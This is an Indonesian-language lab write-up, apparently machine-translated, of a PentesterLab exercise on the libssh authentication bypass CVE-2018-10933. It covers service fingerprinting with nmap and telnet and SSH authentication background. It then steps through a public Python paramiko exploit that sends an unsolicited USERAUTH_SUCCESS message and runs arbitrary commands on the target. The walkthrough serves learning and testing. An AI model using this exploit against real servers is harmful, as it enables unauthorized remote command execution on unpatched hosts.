Saya memulai serangkaian artikel tentang
penguraian layanan
pentesterlab . Sayangnya, saya tidak memiliki versi Pro saja, jadi saya hanya terbatas pada daftar tugas gratis. Setiap kasus adalah sistem yang mengandung kerentanan yang harus dieksploitasi untuk mencapai tujuan tertentu.
Libssh auth bypass
Kasing ini mencakup sebuah host (mesin virtual) dengan layanan SSH berjalan. Tantangannya adalah untuk mendapatkan kendali mesin melalui bypass otentikasi SSH. Bayangkan kita tidak tahu implementasi SSH tertentu di server dan kerentanan apa yang perlu kita eksploitasi.
Bagaimana cara mengetahuinya? Hal pertama yang terlintas dalam pikiran adalah menggunakan pemindai jaringan nmap dengan opsi -sV:
~$ nmap 192.168.0.89 -p 22 -sV Nmap scan report for 192.168.0.89 Host is up (0.00100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL, SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n");
Dalam laporan tersebut, nmap melaporkan bahwa layanan tersebut tidak dikenalnya. Tetapi setelah melihat sidik jari layanan, kita dapat melihat garis identifikasi server, dari mana jelas bahwa port mendengarkan pada LibSSH versi 0.8.3.
Irisan dari RFC-4253:
Segera setelah koneksi dibuat, klien dan server bertukar pesan dari formulir:
Komentar SSH-protoversion-softwareversion
Bidang protoversi menunjukkan versi protokol. Karena versi SSH kedua saat ini relevan, bidang harus berisi nilai "2.0". Bidang versi perangkat lunak berisi nama dan versi implementasi protokol yang digunakan terutama untuk memulai ekstensi, kompatibilitas, dan indikasi kemampuan implementasi. Kolom komentar adalah opsional; ini menunjukkan informasi tambahan yang dapat membantu menyelesaikan masalah pengguna.
Demikian pula, kita bisa mendapatkan baris ini menggunakan utilitas telnet:
$ telnet 192.168.0.89 22 Trying 192.168.0.89... Connected to 192.168.0.89. Escape character is '^]'. SSH-2.0-libssh_0.8.3 Bye ByeConnection closed by foreign host.
Atau dapatkan melalui WireShark:
Pencarian Google membawa kita ke kerentanan CVE-2018-10933, yang memengaruhi versi LibSSH dari 0,7,6 hingga 0,8,4. Untuk memahaminya, saya akan secara singkat berbicara tentang otentikasi klien menggunakan SSH. Setelah koneksi dibuat, klien dan server menyetujui rahasia yang disebut
Kunci Sesi , yang akan digunakan untuk enkripsi selama sesi. Selanjutnya, otentikasi dapat dibagi menjadi beberapa tahap, yang dienkripsi:
- Klien mengirimkan pesan SSH_MSG_USERAUTH_REQUEST ke server yang berisi nama pengguna, nama metode otentikasi, dan bidang tambahan. Server dapat menerima permintaan atau menolaknya dengan pesan dengan kode SSH_MSG_USERAUTH_FAILURE, jika metode otentikasi yang diusulkan tidak didukung.
- Langkah kedua tergantung langsung pada metode otentikasi. Dalam kasus otentikasi kata sandi, klien mengirim kata sandi pada tahap pertama, dan kemudian menunggu konfirmasi dari server. Selama otentikasi dengan kunci publik, kunci publik dan tanda tangan dikirim dengan kunci pribadi. Server memeriksa apakah ada pengguna seperti itu, dengan kunci publik seperti itu, dan apakah kunci publik dari tanda tangan cocok ... Masih ada metode otentikasi oleh host, tetapi jarang digunakan, semua metode otentikasi dapat dibaca secara rinci dalam RFC-4252 ( Rusia , Inggris )
- Pada langkah ketiga, klien mengharapkan otentikasi dari server. Server mengirim pesan dengan kode SSH_MSG_USERAUTH_SUCSESS jika ia menerima otentikasi atau SSH_MSG_USERAUTH_FAILURE jika menolak.
Ada bug di bagian kode yang bertanggung jawab untuk memeriksa kode pesan yang memungkinkan server menerima pesan SSH_MSG_USERAUTH_SUCSESS. Menggunakan celah ini dapat melewati proses otentikasi.
GitHUb memiliki banyak eksploitasi siap pakai untuk kerentanan ini, jadi kami tidak akan menemukan kembali roda dan mempertimbangkan yang ini (saya berterima kasih kepada penulis skrip).
Script ditulis dalam python menggunakan
paramiko - Python module (2.7, 3.4+) dari protokol SSHv2, yang menyediakan fungsionalitas dari klien dan server. Mari kita menganalisis bagian kode yang kami minati:
sock = socket.socket() sock.connect((host,int(port)))
Baris ini menciptakan soket dan terhubung ke server. Apa itu socket dijelaskan dengan sangat baik di
sini .
message = paramiko.message.Message()
Kelas pesan ini adalah SSH2. Ini adalah serangkaian nomor baris dan variabel tipe bool, dikumpulkan dalam satu aliran byte.
transport = paramiko.transport.Transport(sock) transport.start_client()
Kelas ini adalah sarana untuk berinteraksi dengan protokol SSH. Kami membuatnya dan segera terhubung dalam mode klien.
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message)
Parameter paramiko.common.cMSG_USERAUTH_SUCCESS adalah angka 52 yang ditempatkan dalam satu byte. Ini adalah kode pesan MSG_USERAUTH_SUCCESS. Kami mengirim pesan ini ke server.
cmd = transport.open_session() cmd.exec_command(command)
Kami membuat saluran baru dan segera mengirim perintah, ditulis sebagai string dalam perintah.
out=cmd.makefile("rb",222048) output=out.read() out.close() print (output)
Metode makefile membuat pembungkus file di sekitar pipa. "Rb" - baca mode akses byte, 222048 - ukuran buffer. Out mendapatkan hasil dari perintah yang kami kirim, yang kami cetak melalui print (). Dengan out.close (), kami mengakhiri koneksi.
Tetap menjalankan skrip ini, yang menunjukkan alamat ip dari mesin virtual yang sebelumnya diunduh dan menjalankan, dan perintah yang ingin kita jalankan pada korban kita. Saya mencoba menentukan perintah yang berbeda, dan inilah hasilnya:
Kesimpulan dari hasilnya agak canggung, jika perlu, Anda bisa memperbaikinya. Namun secara umum - tugas tersebut dapat dianggap selesai.
Dilanjutkan ...